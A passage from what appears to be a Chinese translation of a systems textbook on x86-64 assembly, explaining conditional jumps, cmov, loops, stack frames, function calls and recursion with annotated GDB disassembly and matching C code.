+ 地址 0x4005b0 的 `mov -0x14(%rbp),%eax` 指令将 `x` 复制到寄存器 `%eax`。寄存器 `%rip` 移动到 0x4005b9。
+ 执行的最后一条指令是 `pop %rbp` 和 `retq`,它们清理堆栈并返回返回寄存器中的值。在这种情况下,寄存器 `%eax` 包含 `x`,而 `getSmallest` 返回 `x`。
然后,我们可以按如下方式注释之前的汇编代码:
0x40059a <+4>: mov %edi,-0x14(%rbp) # copy x to %rbp-0x14
0x40059d <+7>: mov %esi,-0x18(%rbp) # copy y to %rbp-0x18
0x4005a0 <+10>: mov -0x14(%rbp),%eax # copy x to %eax
0x4005a3 <+13>: cmp -0x18(%rbp),%eax # compare x with y
0x4005a6 <+16>: jle 0x4005b0 <getSmallest+26> # if x<=y goto <getSmallest+26>
0x4005a8 <+18>: mov -0x18(%rbp),%eax # copy y to %eax
0x4005ae <+24>: jmp 0x4005b9 <getSmallest+35> # goto <getSmallest+35>
0x4005b0 <+26>: mov -0x14(%rbp),%eax # copy x to %eax
0x4005b9 <+35>: pop %rbp # restore %rbp (clean up stack)
0x4005ba <+36>: retq # exit function (return %eax)
将此翻译回 C 代码得到:
goto 形式
int getSmallest(int x, int y) {
int smallest;
if (x <= y) {
goto assign_x;
}
smallest = y;
goto done;
assign_x:
smallest = x;
done:
return smallest;
}
翻译后的 C 代码
int getSmallest(int x, int y) {
int smallest;
if (x <= y) {
smallest = x;
}
else {
smallest = y;
}
return smallest;
}
在这些代码列表中,变量 `smallest` 对应于寄存器 `%eax`。如果 `x` 小于或等于 `y`,代码将执行语句 `smallest = x`,这与我们 `goto` 形式中函数的 `assign_x` 标签相关联。否则,执行语句 `smallest = y`。`goto` 标签 `done` 用于表示应返回 `smallest` 中的值。
请注意,之前对汇编代码的 C 翻译与原始的 `getSmallest` 函数略有不同。这些差异不重要;仔细检查两个函数可以发现这两个程序在逻辑上是等价的。然而,编译器首先将任何 `if` 语句转换为等效的 `goto` 形式,这导致了略微不同但等价的版本。以下代码示例显示了标准的 `if` 语句格式及其等效的 `goto` 形式:
C 的 if 语句
if (
<then_statement>;
}
else {
<else_statement>;
}
编译器的等效 goto 形式
if (!
goto else;
}
<then_statement>;
goto done;
else:
<else_statement>;
done:
编译器将代码翻译成汇编时,在条件为真时指定跳转。与此行为相比,`if` 语句的结构是,当条件 *不* 为真时会发生“跳转”(到 `else`)。`goto` 形式捕获了这种逻辑差异。
考虑到 `getSmallest` 函数的原始 `goto` 翻译,我们可以看到:
+ `x <= y` 对应于 `!*<condition>*`。
+ `smallest = x` 是 <else_statement>。
+ `smallest = y` 这一行是 <then_statement>。
+ 函数中的最后一行是 `return smallest`。
使用之前的注释重写原始版本的函数得到:
int getSmallest(int x, int y) {
int smallest;
if (x > y) { //!(x <= y)
smallest = y; //then_statement
}
else {
smallest = x; //else_statement
}
return smallest;
}
这个版本与原始的`getSmallest`函数是相同的。请记住,在 C 语言层面上以不同方式编写的函数可以翻译为相同的一组汇编指令。
##### cmov 指令
我们讨论的最后一组条件指令是*条件移动*(`cmov`)指令。`cmp`、`test`和`jmp`指令在程序中实现了*条件控制转移*。换句话说,程序的执行会在多个方向上分支。这对于优化代码来说可能是非常有问题的,因为这些分支非常耗费资源。
相反,`cmov`指令实现了*条件数据传输*。换句话说,条件的<then_statement>和<else_statement>都会执行,并且根据条件的结果将数据放入适当的寄存器。
C 的*三元表达式*的使用通常会导致编译器生成`cmov`指令来代替跳转。对于标准的 if-then-else 语句,三元表达式的形式是:
result = (
让我们使用这种格式将`getSmallest`函数重写为三元表达式。请记住,这个新版本的函数行为与原始的`getSmallest`函数完全一致:
int getSmallest_cmov(int x, int y) {
return x > y ? y : x;
}
虽然这看起来可能不是一个大变化,但让我们看看生成的汇编代码。回想一下,第一个和第二个参数(`x`和`y`)分别存储在寄存器`%edi`和`%esi`中。
0x4005d7 <+0>: push %rbp #save %rbp
0x4005d8 <+1>: mov %rsp,%rbp #update %rbp
0x4005db <+4>: mov %edi,-0x4(%rbp) #copy x to %rbp-0x4
0x4005de <+7>: mov %esi,-0x8(%rbp) #copy y to %rbp-0x8
0x4005e1 <+10>: mov -0x8(%rbp),%eax #copy y to %eax
0x4005e4 <+13>: cmp %eax,-0x4(%rbp) #compare x and y
0x4005e7 <+16>: cmovle -0x4(%rbp),%eax #if (x <=y) copy x to %eax
0x4005eb <+20>: pop %rbp #restore %rbp
0x4005ec <+21>: retq #return %eax
这段汇编代码没有跳转。比较`x`和`y`之后,只有当`x`小于或等于`y`时,`x`才会移入返回寄存器。与跳转指令一样,`cmov`指令的后缀指示了条件移动发生的条件。表 7-15 列出了条件移动指令的集合。
**表 7-15:** `cmov`指令
| **有符号** | **无符号** | **描述** |
| --- | --- | --- |
| `cmove` (`cmovz`) | | 如果相等(==)则移动 |
| `cmovne` (`cmovnz`) | | 如果不等于(!=)则移动 |
| `cmovs` | | 如果为负数则移动 |
| `cmovns` | | 如果非负数则移动 |
| `cmovg` (`cmovnle`) | `cmova` (`cmovnbe`) | 如果大于(>)则移动 |
| `cmovge` (`cmovnl`) | `cmovae` (`cmovnb`) | 如果大于或等于(>=)则移动 |
| `cmovl` (`cmovnge`) | `cmovb` (`cmovnae`) | 如果小于(<)则移动 |
| `cmovle` (`cmovng`) | `cmovbe` (`cmovna`) | 如果小于或等于(<=)则移动 |
在原始`getSmallest`函数的情况下,编译器的内部优化器(参见第十二章)将在打开一级优化(即`-O1`)时,将跳转指令替换为`cmov`指令:
compiled with: gcc -O1 -o getSmallest getSmallest.c
0x400546 <+0>: cmp %esi,%edi #compare x and y
0x400548 <+2>: mov %esi,%eax #copy y to %eax
0x40054a <+4>: cmovle %edi,%eax #if (x<=y) copy x to %eax
0x40054d <+7>: retq #return %eax
通常,编译器在将跳转指令优化为`cmov`指令时非常谨慎,特别是在涉及副作用和指针值的情况下。在这里,我们展示了两种等效的函数编写方式,`incrementX`:
C 代码
int incrementX(int *x) {
if (x != NULL) { //if x is not NULL
return (*x)++; //increment x
}
else { //if x is NULL
return 1; //return 1
}
}
C 三元形式
int incrementX2(int *x){
return x ? (*x)++ : 1;
}
每个函数都接受一个指向整数的指针作为输入,并检查它是否为`NULL`。如果`x`不是`NULL`,该函数将对其进行递增并返回解引用的值。否则,函数将返回值 1。
很容易认为`incrementX2`使用了`cmov`指令,因为它使用了三元表达式。然而,两个函数生成的汇编代码完全相同:
0x4005ed <+0>: push %rbp
0x4005ee <+1>: mov %rsp,%rbp
0x4005f1 <+4>: mov %rdi,-0x8(%rbp)
0x4005f5 <+8>: cmpq $0x0,-0x8(%rbp)
0x4005fa <+13>: je 0x40060d <incrementX+32>
0x4005fc <+15>: mov -0x8(%rbp),%rax
0x400600 <+19>: mov (%rax),%eax
0x400602 <+21>: lea 0x1(%rax),%ecx
0x400605 <+24>: mov -0x8(%rbp),%rdx
0x400609 <+28>: mov %ecx,(%rdx)
0x40060b <+30>: jmp 0x400612 <incrementX+37>
0x40060d <+32>: mov $0x1,%eax
0x400612 <+37>: pop %rbp
0x400613 <+38>: retq
记住,`cmov`指令*执行条件的两个分支*。换句话说,不管怎样,`x`都会被解引用。考虑一下`x`是空指针的情况。记住,解引用空指针会导致空指针异常,导致代码中出现段错误。为了防止这种情况的发生,编译器选择了安全的方式,使用了跳转。
#### 7.4.3 汇编中的循环
与`if`语句类似,汇编中的循环也是通过跳转指令实现的。然而,循环使得指令可以根据评估条件的结果被*重新访问*。
下例中展示的`sumUp`函数将从 1 到用户定义的整数之间的所有正整数相加。为了演示 C 语言中的`while`循环,这段代码故意写得不够优化。
int sumUp(int n) {
//initialize total and i
int total = 0;
int i = 1;
while (i <= n) { //while i is less than or equal to n
total += i; //add i to total
i++; //increment i by 1
}
return total;
}
将此代码编译并使用 GDB 进行反汇编,得到以下汇编代码:
Dump of assembler code for function sumUp:
0x400526 <+0>: push %rbp
0x400527 <+1>: mov %rsp,%rbp
0x40052a <+4>: mov %edi,-0x14(%rbp)
0x40052d <+7>: mov $0x0,-0x8(%rbp)
0x400534 <+14>: mov $0x1,-0x4(%rbp)
0x40053b <+21>: jmp 0x400547 <sumUp+33>
0x40053d <+23>: mov -0x4(%rbp),%eax
0x400540 <+26>: add %eax,-0x8(%rbp)
0x400543 <+29>: add $0x1,-0x4(%rbp)
0x400547 <+33>: mov -0x4(%rbp),%eax
0x40054a <+36>: cmp -0x14(%rbp),%eax
0x40054d <+39>: jle 0x40053d <sumUp+23>
0x40054f <+41>: mov -0x8(%rbp),%eax
0x400552 <+44>: pop %rbp
0x400553 <+45>: retq
同样,在这个例子中我们不会显式地画出堆栈。但是,我们鼓励读者自己画出堆栈。
##### 前五条指令
该函数的前五条指令为函数执行设置堆栈,并为函数执行设置临时值:
0x400526 <+0>: push %rbp # save %rbp onto the stack
0x400527 <+1>: mov %rsp,%rbp # update the value of %rbp (new frame)
0x40052a <+4>: mov %edi,-0x14(%rbp) # copy n to %rbp-0x14
0x40052d <+7>: mov $0x0,-0x8(%rbp) # copy 0 to %rbp-0x8 (total)
0x400534 <+14>: mov $0x1,-0x4(%rbp) # copy 1 to %rbp-0x4 (i)
记住,堆栈位置存储了函数中的*临时变量*。为了简化,我们将标记为`%rbp-0x8`的位置称为`total`,将`%rbp-0x4`称为`i`。`sumUp`的输入参数(`n`)被移动到堆栈位置`%rbp-0x14`。尽管临时变量被放置在堆栈上,但请记住,在执行第一条指令(即`push %rbp`)之后,堆栈指针没有发生变化。
##### 循环的核心
`sumUp`函数中的接下来七条指令代表了循环的核心部分:
0x40053b <+21>: jmp 0x400547 <sumUp+33> # goto <sumUp+33>
0x40053d <+23>: mov -0x4(%rbp),%eax # copy i to %eax
0x400540 <+26>: add %eax,-0x8(%rbp) # add i to total (total += i)
0x400543 <+29>: add $0x1,-0x4(%rbp) # add 1 to i (i += 1)
0x400547 <+33>: mov -0x4(%rbp),%eax # copy i to %eax
0x40054a <+36>: cmp -0x14(%rbp),%eax # compare i to n
0x40054d <+39>: jle 0x40053d <sumUp+23> # if (i <= n) goto <sumUp+23>
+ 第一条指令是直接跳转到`<sumUp+33>`,将指令指针(`%rip`)设置为地址 0x400547。
+ 执行的下一条指令是`mov -0x4(%rbp),%eax`,它将`i`的值放入寄存器`%eax`中。寄存器`%rip`被更新为 0x40054a。
+ `<sumUp+36>`处的`cmp`指令将`i`与`n`进行比较,并设置适当的条件码寄存器。寄存器`%rip`被设置为 0x40054d。
然后执行`jle`指令。接下来执行的指令取决于分支是否被执行。
假设执行了这个分支(即`i <= n`为真)。那么,指令指针被设置为 0x40053d,程序执行跳转到`<sumUp+23>`。接下来的指令按顺序执行:
+ `<sumUp+23>`处的`mov`指令将`i`复制到寄存器`%eax`中。
+ `add %eax,-0x8(%rbp)`将`i`加到`total`中(即`total += i`)。
+ `<sumUp+29>` 处的 `add` 指令将 1 加到 `i` 上(即 `i += 1`)。
+ `<sumUp+33>` 处的 `mov` 指令将更新后的 `i` 值复制到寄存器 `%eax`。
+ `cmp` 指令随后将 `i` 与 `n` 进行比较,并设置适当的条件码寄存器。
+ 接下来,`jle` 执行。如果 `i` 小于或等于 `n`,程序执行会再次跳转到 `<sumUp+23>`,并且循环(在 `<sumUp+23>` 和 `<sumUp+39>` 之间定义)会重复。
如果分支 *没有* 被执行(即 `i` *不* 小于或等于 `n`),则执行以下指令:
0x40054f <+41>: mov -0x8(%rbp),%eax # copy total to %eax
0x400552 <+44>: pop %rbp # restore rbp
0x400553 <+45>: retq # return (total)
这些指令将 `total` 复制到寄存器 `%eax`,恢复 `%rbp` 的原始值,并退出函数。因此,函数在退出时返回 `total`。
以下代码展示了 `sumUp` 函数的汇编形式和 C 语言中 `goto` 的形式:
汇编
<+0>: push %rbp
<+1>: mov %rsp,%rbp
<+4>: mov %edi,-0x14(%rbp)
<+7>: mov $0x0,-0x8(%rbp)
<+14>: mov $0x1,-0x4(%rbp)
<+21>: jmp 0x400547 <sumUp+33>
<+23>: mov -0x4(%rbp),%eax
<+26>: add %eax,-0x8(%rbp)
<+29>: add $0x1,-0x4(%rbp)
<+33>: mov -0x4(%rbp),%eax
<+36>: cmp -0x14(%rbp),%eax
<+39>: jle 0x40053d <sumUp+23>
<+41>: mov -0x8(%rbp),%eax
<+44>: pop %rbp
<+45>: retq
转换后的 goto 形式
int sumUp(int n) {
int total = 0;
int i = 1;
goto start;
body:
total += i;
i += 1;
start:
if (i <= n) {
goto body;
}
return total;
}
上述代码也等同于以下没有 `goto` 语句的 C 代码:
int sumUp(int n) {
int total = 0;
int i = 1;
while (i <= n) {
total += i;
i += 1;
}
return total;
}
##### 汇编中的 for 循环
`sumUp` 函数中的主要循环也可以写成一个 `for` 循环:
int sumUp2(int n) {
int total = 0; //initialize total to 0
int i;
for (i = 1; i <= n; i++) { //initialize i to 1, increment by 1 while i<=n
total += i; //updates total by i
}
return total;
}
这个版本生成的汇编代码与我们的 `while` 循环示例相同。我们在此重复汇编代码,并用英文注释标注每一行:
Dump of assembler code for function sumUp2:
0x400554 <+0>: push %rbp #save %rbp
0x400555 <+1>: mov %rsp,%rbp #update %rpb (new stack frame)
0x400558 <+4>: mov %edi,-0x14(%rbp) #copy %edi to %rbp-0x14 (n)
0x40055b <+7>: movl $0x0,-0x8(%rbp) #copy 0 to %rbp-0x8 (total)
0x400562 <+14>: movl $0x1,-0x4(%rbp) #copy 1 to %rbp-0x4 (i)
0x400569 <+21>: jmp 0x400575 <sumUp2+33> #goto <sumUp2+33>
0x40056b <+23>: mov -0x4(%rbp),%eax #copy i to %eax [loop]
0x40056e <+26>: add %eax,-0x8(%rbp) #add i to total (total+=i)
0x400571 <+29>: addl $0x1,-0x4(%rbp) #add 1 to i (i++)
0x400575 <+33>: mov -0x4(%rbp),%eax #copy i to %eax [start]
0x400578 <+36>: cmp -0x14(%rbp),%eax #compare i with n
0x40057b <+39>: jle 0x40056b <sumUp2+23> #if (i <= n) goto loop
0x40057d <+41>: mov -0x8(%rbp),%eax #copy total to %eax
0x400580 <+44>: pop %rbp #prepare to leave the function
0x400581 <+45>: retq #return total
为了理解为什么该 `for` 循环版本的代码和 `while` 循环版本生成相同的汇编代码,回忆一下 `for` 循环的表示形式如下:
for (
}
并且等同于以下的 `while` 循环表示形式:
while (
}
由于每个 `for` 循环都可以用 `while` 循环表示(请参见 第 35 页的“for 循环”部分),以下两个 C 程序是与前述汇编代码等效的表示:
For 循环
int sumUp2(int n) {
int total = 0;
int i = 1;
for (i; i <= n; i++) {
total += i;
}
return total;
}
While 循环
int sumUp(int n){
int total = 0;
int i = 1;
while (i <= n) {
total += i;
i += 1;
}
return total;
}
### 7.5 汇编中的函数
在上一节中,我们追踪了简单的汇编函数。在本节中,我们将讨论多个函数在汇编中的交互,特别是在一个更大程序的上下文中。我们还将介绍一些与函数管理相关的新指令。
让我们从复习一下如何管理调用栈开始。回忆一下,`%rsp` 是 *栈指针*,它始终指向栈的顶部。寄存器 `%rbp` 代表基指针(也称为 *帧指针*),指向当前栈帧的底部。*栈帧*(也叫 *激活帧* 或 *激活记录*)指的是栈上为单个函数调用分配的部分。当前正在执行的函数总是在栈的顶部,它的栈帧被称为 *活动帧*。活动帧的边界由栈指针(栈顶)和帧指针(帧底)界定。激活记录通常保存一个函数的局部变量。图 7-4 展示了 `main` 函数和它调用的函数 `fname` 的栈帧。我们将 `main` 函数称为 *调用者* 函数,`fname` 称为 *被调用者* 函数。

*图 7-4:栈帧管理*
在图 7-4 中,当前的活动帧属于被调用函数(`fname`)。栈指针和帧指针之间的内存用于局部变量。随着局部值被推入或弹出栈,栈指针会发生变化。相比之下,帧指针保持相对稳定,指向当前栈帧的开始(底部)。因此,像 GCC 这样的编译器通常会相对于帧指针引用栈上的值。在图 7-4 中,活动帧的下界是 `fname` 的基址指针,栈地址为 0x418。存储在地址 0x418 的值是“保存的”`%rbp` 值(0x42c),它本身是一个地址,指示 `main` 函数激活帧的底部。`main` 激活帧的顶部由*返回地址*界定,指示当被调用函数 `fname` 执行完毕后,`main` 函数程序执行将从哪里恢复。
**警告 返回地址指向代码段内存,而不是栈内存**
请记住,程序的调用栈区域(栈内存)与其代码区域(代码段内存)是不同的。虽然 `%rbp` 和 `%rsp` 指向栈内存中的地址,`%rip` 指向的是*代码*段内存中的地址。换句话说,返回地址是代码段内存中的地址,而不是栈内存中的地址(见图 7-5)。

*图 7-5:程序地址空间的各部分*
表 7-16 包含了编译器用于基本函数管理的若干其他指令。
**表 7-16:** 常见函数管理指令
| **指令** | **翻译** |
| --- | --- |
| `leaveq` | 为退出函数准备栈。等价于: |
| | `mov %rbp,%rsp` |
| | `pop %rbp` |
| `callq addr <fname>` | 切换活动帧到被调用函数。等价于: |
| | `push %rip` |
| | `mov addr, %rip` |
| `retq` | 恢复活动帧到调用函数。等价于: |
| | `pop %rip` |
例如,`leaveq` 指令功能是编译器用来恢复栈和帧指针的简写,它用于准备退出一个函数。当被调用函数执行完毕时,`leaveq` 确保帧指针被*恢复*到先前的值。
`callq` 和 `retq` 指令在一个函数调用另一个函数的过程中起着重要作用。这两个指令都会修改指令指针(寄存器`%rip`)。当调用函数执行 `callq` 指令时,`%rip` 的当前值会保存在栈上,作为返回地址,表示当被调用函数执行完毕后,调用函数将恢复执行的位置。`callq` 指令还会用被调用函数的地址替换 `%rip` 的值。
`retq` 指令将 `%rip` 的值恢复为栈上保存的值,确保程序在调用函数中指定的程序地址处恢复执行。被调用者返回的任何值都存储在 `%rax` 或其组件寄存器中(例如 `%eax`)。`retq` 指令通常是任何函数中最后执行的指令。
#### 7.5.1 函数参数
与 IA32 不同,函数参数通常在函数调用之前被预先加载到寄存器中。表 7-17 列出了函数的参数以及在函数调用之前它们被加载到的寄存器(如果有的话)。
**表 7-17:** 函数参数的位置
| **参数** | **位置** |
| --- | --- |
| 参数 1 | `%rdi` |
| 参数 2 | `%rsi` |
| 参数 3 | `%rdx` |
| 参数 4 | `%rcx` |
| 参数 5 | `%r8` |
| 参数 6 | `%r9` |
| 参数 7+ | 在调用栈上 |
函数的前六个参数依次加载到寄存器 `%rdi`、`%rsi`、`%rdx`、`%rcx`、`%r8` 和 `%r9` 中。任何额外的参数则根据其大小依次加载到调用栈中(32 位数据为 4 字节偏移,64 位数据为 8 字节偏移)。
#### 7.5.2 通过示例进行追踪
利用我们对函数管理的知识,让我们从本章开始时介绍的代码示例中进行追踪。请注意,`void` 关键字被添加到每个函数定义的参数列表中,以指定这些函数不接受任何参数。此更改不会修改程序的输出,但它确实简化了相应的汇编代码。
include <stdio.h>
int assign(void) {
int y = 40;
return y;
}
int adder(void) {
int a;
return a + 2;
}
int main(void) {
int x;
assign();
x = adder();
printf("x is: %d\n", x);
return 0;
}
我们使用命令 `gcc -o prog prog.c` 来编译此代码,并使用 `objdump -d` 查看底层的汇编代码。后者命令输出了一个相当大的文件,包含了许多我们不需要的信息。使用 `less` 和搜索功能来提取 `adder`、`assign` 和 `main` 函数:
0000000000400526
400526: 55 push %rbp
400527: 48 89 e5 mov %rsp,%rbp
40052a: c7 45 fc 28 00 00 00 movl $0x28,-0x4(%rbp)
400531: 8b 45 fc mov -0x4(%rbp),%eax
400534: 5d pop %rbp
400535: c3 retq
0000000000400536
400536: 55 push %rbp
400537: 48 89 e5 mov %rsp,%rbp
40053a: 8b 45 fc mov -0x4(%rbp),%eax
40053d: 83 c0 02 add $0x2,%eax
400540: 5d pop %rbp
400541: c3 retq
0000000000400542
400542: 55 push %rbp
400543: 48 89 e5 mov %rsp,%rbp
400546: 48 83 ec 10 sub $0x10,%rsp
40054a: e8 e3 ff ff ff callq 400526
40054f: e8 d2 ff ff ff callq 400536
400554: 89 45 fc mov %eax,-0x4(%rbp)
400557: 8b 45 fc mov -0x4(%rbp),%eax
40055a: 89 c6 mov %eax,%esi
40055c: bf 04 06 40 00 mov $0x400604,%edi
400561: b8 00 00 00 00 mov $0x0,%eax
400566: e8 95 fe ff ff callq 400400 printf@plt
40056b: b8 00 00 00 00 mov $0x0,%eax
400570: c9 leaveq
400571: c3 retq
每个函数以一个符号标签开始,该标签对应于程序中声明的函数名。例如,`<main>:` 是 `main` 函数的符号标签。函数标签的地址也是该函数中第一条指令的地址。为了节省后续图示的空间,我们将地址截断到低 12 位。所以,程序地址 0x400542 显示为 0x542。
#### 7.5.3 追踪 main
图 7-6 显示了在执行 `main` 之前的执行栈。

*图 7-6:在执行 main 函数之前,CPU 寄存器和调用栈的初始状态*
回想一下栈是向低地址方向增长的。在这个例子中,`%rbp` 最初是栈地址 0x830,而 `%rsp` 最初是栈地址 0xd48。这两个值是为了这个例子而编造的。
由于前面示例中的函数使用了整数数据,我们突出了组件寄存器 `%eax` 和 `%edi`,它们最初包含垃圾值。左上方的箭头表示当前正在执行的指令。最初,`%rip` 包含地址 0x542,这是 `main` 函数中第一行代码的程序内存地址。

第一条指令通过将 0x830 推入栈中来保存 `%rbp` 的当前值。由于栈向较低的地址生长,栈指针 `%rsp` 被更新为 0xd40,低于 0xd48 八个字节。`%rip` 前进到下一条指令。

下一条指令(`mov %rsp,%rbp`)将 `%rbp` 的值更新为与 `%rsp` 相同。帧指针(`%rbp`)现在指向 `main` 函数的栈帧起始位置。`%rip` 前进到下一条指令。

`sub` 指令将 0x10 从栈指针的地址中减去,实际上使得栈“增长”了 16 字节,我们通过在栈上显示两个 8 字节位置来表示。寄存器 `%rsp` 因此有了新的值 0xd30。`%rip` 前进到下一条指令。

`callq <assign>` 指令将寄存器 `%rip` 中的值(表示 *下一个* 要执行的指令的地址)推入栈中。由于 `callq <assign>` 后的下一条指令地址为 0x55f,这个值作为返回地址被推入栈中。回想一下,返回地址表示当程序执行返回到 `main` 时应该从哪里恢复执行。
接下来,`callq` 指令将 `assign` 函数的地址(0x526)移入寄存器 `%rip`,表示程序执行应该继续进入被调用的 `assign` 函数,而不是继续执行 `main` 中的下一条指令。

在 `assign` 函数中执行的前两条指令是每个函数都会执行的常规维护。第一条指令将存储在 `%rbp` 中的值(内存地址 0xd40)推入栈中。回想一下,这个地址指向 `main` 的栈帧开始位置。`%rip` 前进到 `assign` 中的第二条指令。

下一条指令(`mov %rsp,%rbp`)更新 `%rbp` 为指向栈顶,标记着 `assign` 的栈帧开始。指令指针(`%rip`)前进到 `assign` 函数中的下一条指令。

位于地址 0x52a 的`mov`指令将值`$0x28`(或 40)存入栈中,地址为`-0x4(%rbp)`,即帧指针上方四个字节的地址。回想一下,帧指针通常用来引用栈上的位置。但请记住,这一操作并不会改变`%rsp`的值——栈指针仍然指向地址 0xd20。寄存器`%rip`将前进到`assign`函数中的下一条指令。

位于地址 0x531 的`mov`指令将值`$0x28`存入寄存器`%eax`,该寄存器保存函数的返回值。`%rip`将前进到`assign`函数中的`pop`指令。
 到这里,`assign`函数几乎已经执行完毕。下一条将执行的指令是`pop %rbp`,它将`%rbp`恢复到先前的值,即 0xd40。由于`pop`指令修改了栈指针,`%rsp`更新为 0xd28。

`assign`函数中的最后一条指令是`retq`指令。当`retq`执行时,返回地址会从栈中弹出并加载到寄存器`%rip`中。在我们的示例中,`%rip`此时将前进并指向`main`中的`callq`指令,地址为 0x55f。
在此时有几个重要的注意事项:
+ 栈指针和帧指针已经恢复为调用`assign`之前的值,表明`main`的栈帧再次成为活动帧。
+ 之前活动栈帧中的旧值*并没有*被移除,它们仍然存在于调用栈中。

在`main`函数中,调用`adder`时,*覆盖*了栈上旧的返回地址,并将新的返回地址(0x554)存入栈中。这个返回地址指向`adder`返回后的下一条指令,或者`mov %eax,-0x4(%rbp)`。寄存器`%rip`更新为指向`adder`中第一条需要执行的指令,该指令位于地址 0x536。

`adder`函数中的第一条指令保存了调用者的帧指针(即`main`中的`%rbp`)到栈上。

下一条指令将`%rbp`更新为`%rsp`的当前值,或者地址 0xd20。合起来,这两条指令确定了`adder`的栈帧开始位置。

请特别注意下一条即将执行的指令。回顾一下,`$0x28`是在调用`assign`时放置到栈上的。指令`mov $-0x4(%rbp),%eax`将栈上一个*旧的*值移动到寄存器`%eax`中!如果程序员在`adder`函数中初始化了变量`a`,这一操作是不会发生的。

位于地址 0x53d 的`add`指令将 2 加到寄存器`%eax`中。回想一下,当返回一个 32 位整数时,x86-64 使用的是组件寄存器`%eax`,而不是`%rax`。这两条指令一起相当于`adder`中的以下代码:
int a;
return a + 2;

在`pop`执行后,帧指针再次指向`main`的栈帧开始位置,即地址 0xd40。此时,栈指针包含地址 0xd28。
 `retq`指令从栈中弹出返回地址,将指令指针恢复到 0x554,或`main`中下一条要执行的指令地址。此时,`%rsp`中包含的地址为 0xd30。

在`main`中,`mov %eax,-0x4(%rbp)`指令将`%eax`中的值放置在`%rbp`上方四个字节的位置,或地址 0xd3c。接下来的指令将其重新放回`%eax`寄存器中。

略微跳跃,地址 0x55a 的`mov`指令将`%eax`中的值(或 0x2A)复制到寄存器`%esi`中,`%esi`是与`%rsi`相关的 32 位组件寄存器,通常用于存储函数的第二个参数。

下一条指令(`mov $0x400604,%edi`)将常量值(代码段内存中的一个地址)复制到寄存器`%edi`中。回想一下,寄存器`%edi`是`%rdi`的 32 位组件寄存器,通常用于存储函数的第一个参数。代码段内存地址 0x400604 是字符串`"x is %d\n"`的基地址。

下一条指令将寄存器`%eax`重置为 0。指令指针前进到调用`printf`函数的位置(该位置由标签`<printf@plt>`表示)。

下一条指令调用`printf`函数。为了简便起见,我们不再追踪`printf`函数(它是`stdio.h`的一部分)。然而,我们从手册页面(`man -s3 printf`)中可以了解到,`printf`具有以下格式:
int printf(const char * format, ...)
换句话说,第一个参数是指向指定格式的字符串的指针,第二个参数及之后的参数指定了该格式中使用的值。地址 0x55a–0x566 之间的指令对应着`main`函数中的以下一行:
printf("x is %d\n", x);
当`printf`函数被调用时:
+ 一个返回地址(指定`printf`调用之后执行的指令)被推送到栈中。
+ `%rbp`的值被推送到栈中,`%rbp`被更新为指向栈顶,表示`printf`的栈帧开始位置。
在某个时刻,`printf`会引用其参数,这些参数是字符串`"x is` `%d\n"`和数值 0x2A。第一个参数存储在组件寄存器`%edi`中,第二个参数存储在组件寄存器`%esi`中。返回地址位于`%rbp`下方的位置`%rbp+8`。
对于任何有*n*个参数的函数,GCC 将前六个参数放入寄存器中,如表 7-17 所示,其余参数则放入栈中,*在*返回地址之下。
在调用 `printf` 之后,值 0x2A 以整数格式输出给用户。因此,值 42 被打印到屏幕上!

在调用 `printf` 之后,最后几条指令清理栈并为 `main` 函数的干净退出做准备。首先,地址为 0x56b 的 `mov` 指令确保返回寄存器中是 0(因为 `main` 做的最后一件事是返回 0)。

`leaveq` 指令为从函数调用返回做好栈的准备。请回忆,`leaveq` 类似于以下一对指令:
mov %rbp, %rsp
pop %rbp
换句话说,CPU 将栈指针覆盖为帧指针。在我们的例子中,栈指针最初从 0xd30 更新到 0xd40。接下来,CPU 执行 `pop %rbp`,它将位于 0xd40(在我们的例子中是地址 0x830)处的值放入 `%rbp` 中。`leaveq` 执行后,栈和帧指针恢复到执行 `main` 之前的原始值。
执行的最后一条指令是 `retq`。返回寄存器 `%eax` 中的值为 0,程序返回零,表示正确终止。
如果你仔细阅读了这一部分内容,你应该能理解为什么我们的程序会打印出值 42。实质上,程序无意中使用了栈上的旧值,导致它的行为与我们预期的不一样。这个例子相对无害;然而,我们将在后续章节讨论黑客如何滥用函数调用,导致程序以真正恶意的方式出错。
### 7.6 递归
递归函数是一类特殊的函数,它们通过调用自身(也叫做 *自引用* 函数)来计算一个值。像它们的非递归对等函数一样,递归函数为每次函数调用创建新的栈帧。与标准函数不同,递归函数包含对自身的函数调用。
让我们重新审视求和从 1 到 *n* 的正整数的这个问题。在前面的章节中,我们讨论了使用 `sumUp` 函数来完成这个任务。以下的代码列出了一个相关的函数 `sumDown`,它以逆序(*n* 到 1)加总这些数值,以及它的递归等效函数 `sumr`:
迭代
int sumDown(int n) {
int total = 0;
int i = n;
while (i > 0) {
total += i;
i--;
}
return total;
}
递归
int sumr(int n) {
if (n <= 0) {
return 0;
}
return n + sumr(n-1);
}
递归函数 `sumr` 的基本情况处理任何小于 1 的 *n* 值。递归步骤调用 `sumr`,并将 *n –* 1 作为参数传入,然后在返回之前将结果加到 *n* 上。编译 `sumr` 并用 GDB 反汇编后得到以下汇编代码:
Dump of assembler code for function sumr:
0x400551 <+0>: push %rbp # save %rbp
0x400552 <+1>: mov %rsp,%rbp # update %rbp (new stack frame)
0x400555 <+4>: sub $0x10,%rsp # expand stack frame by 16 bytes
0x400559 <+8>: mov %edi,-0x4(%rbp) # move first param (n) to %rbp-0x4
0x40055c <+11>: cmp $0x0,-0x4(%rbp) # compare n to 0
0x400560 <+15>: jg 0x400569 <sumr+24> # if (n > 0) goto <sumr+24> [body]
0x400562 <+17>: mov $0x0,%eax # copy 0 to %eax
0x400567 <+22>: jmp 0x40057d <sumr+44> # goto <sumr+44> [done]
0x400569 <+24>: mov -0x4(%rbp),%eax # copy n to %eax (result = n)
0x40056c <+27>: sub $0x1,%eax # subtract 1 from %eax (result -= 1)
0x40056f <+30>: mov %eax,%edi # copy %eax to %edi
0x400571 <+32>: callq 0x400551
0x400576 <+37>: mov %eax,%edx # copy returned value to %edx
0x400578 <+39>: mov -0x4(%rbp),%eax # copy n to %eax
0x40057b <+42>: add %edx,%eax # add sumr(result) to n
0x40057d <+44>: leaveq # prepare to leave the function
0x40057e <+45>: retq # return result
上述每一行汇编代码都有其对应的英文翻译。这里我们展示了相应的 `goto` 形式(第一种)和没有 `goto` 语句的 C 程序(第二种):
C 的 goto 形式
int sumr(int n) {
int result;
if (n > 0) {
goto body;
}
result = 0;
goto done;
body:
result = n;
result -= 1;
result = sumr(result);
result += n;
done:
return result;
}
没有 goto 的 C 版本
int sumr(int n) {
int result;
if (n <= 0) {
return 0;
}
result = sumr(n-1);
result += n;
return result;
}
